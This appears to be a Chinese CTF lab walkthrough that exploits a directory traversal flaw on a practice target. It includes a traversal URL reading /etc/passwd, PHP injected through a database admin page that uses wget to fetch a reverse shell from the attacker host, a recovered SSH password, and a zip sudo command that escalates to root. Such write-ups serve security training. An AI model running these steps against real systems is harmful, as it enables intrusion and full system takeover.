• CTF—攻防练习之HTTP—目录遍历


    主机:192.168.32.152

    靶机:192.168.32.163

    目录遍历攻击又称(目录爬升,目录回溯,点-点斜线),指再访问存储在web根文件之夹外的文件和目录,通过操控带有"点-斜线(..):序列及变化的文件或使用绝对文件夹路径来引用文件的变量,可以访问存储在文件系统上的任意文件和目录,包括应用程序源代码,配置文件信息和关键系统文件。

    系统访问控制(如在微软windows系统上锁定或使用文件)限制了对文件的访问权限。

    nmap,dirb扫描

    开放了ssh,http服务还有111端口

    dbadmin 测下下弱口令admin。直接可以登录

    用扫描器扫,发现存在目录遍历高位漏洞

    访问下看看:可以看到etc/passwd目录下的用户

    http://192.168.32.163/view.php?page=%20../../../../../../../../../../etc/passwd

    那么我们就可以上传一个shell到数据库,再监听

    先将/usr/share/webshells/php 下的 reverse_webshell 复制到桌面上,设置ip和监听端口,修改名为shell.php

    打开数据库管理页面,发现如果建一个.php名字的数据库,利用遍历目录漏洞时就可以执行php文件,达到反弹shell的目的

    建好库后添加数据表,字段(写入

    <?php system("cd /tmp; wget http://192.168.32.152:8000/shell.php;chmod +x shell.php;
    php shell.php");?>

    成功反弹shell!

    pty优化终端,
    然后在home目录下发现有一个用户zico, config文件中发现了对应的数据库的密码

    那就试试ssh登录 ssh zico@192.168.32.162

    密码:sWfCsfJSPV9H3AmQzw8

    登录成功后sudo -l 发现 可以使用zip继续提权

     

    touch exploit

    sudo -u root zip exploit.zip exploit -T --unzip-command="sh -c /bin/bash"

    提权成功!

     

    最终得到root权限

  • 相关阅读:
    Next Permutation
    Substring with Concatenation of All Words
    Divide Two Integers
    Remove Duplicates from Sorted Array
    3sum closest
    ThreadPoolExecutor参数与拒绝策略
    多线程情况下ArrayList 如何解决线性安全问题
    ArrayList扩容机制jdk1.8
    SpringCloud--工作流程(好文)
    Java面试——TCP与HTTP
  • 原文地址:https://www.cnblogs.com/zhaoyixiang/p/11053975.html
Copyright © 2020-2023  润新知